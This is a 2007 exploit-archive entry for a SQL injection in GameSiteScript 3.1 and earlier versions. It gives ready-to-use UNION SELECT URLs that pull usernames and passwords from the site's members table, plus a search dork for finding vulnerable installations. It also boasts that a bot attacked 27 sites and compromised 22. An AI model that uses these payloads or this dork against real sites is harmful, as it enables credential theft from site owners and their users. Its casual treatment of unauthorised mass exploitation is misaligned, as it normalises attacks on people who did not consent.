[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : GameSiteScript <= 3.1 (profile id) Remote SQL Injection Vulnerability
# Published : 2007-07-07
# Author : Xenduer77
# Previous Title : AV Tutorial Script 1.0 Remote User Pass Change Exploit
# Next Title : phpVID 0.9.9 (categories_type.php cat) SQL Injection Vulnerability
###############################################
####### GameSiteScript (Profile)($id) SQL-Injection Exploit
###############################################
### Vulnerability Discovered By: Xenduer77
### ---July 7th, 2007
###############################################
{$id} Is passed straight to the query without being filtered.
###############################################
SQL-INJECTION:
###############################################
For Version 3.1:
-------
http://whatever.com/iindex.php?params=profile/view/'+union+select+0,username,0,0,0,0,0,0,0,0,0,0,0,0,password,0,0,0,0,0,0,0,0+from+members+where+id='1
Prior To 3.1:
-------
http://whatever.com/index.php?params=profile/view/'+union+select+0,username,0,0,0,0,0,0,0,0,0,0,0,0,password,0,0,0,0,0,0+from+members+where+id='1
###Tested by a bot on 27 sites, 22 were exploited.
###############################################
Dork: "Powered by GameSiteScript"
###############################################
# www.Syue.com [2007-07-07]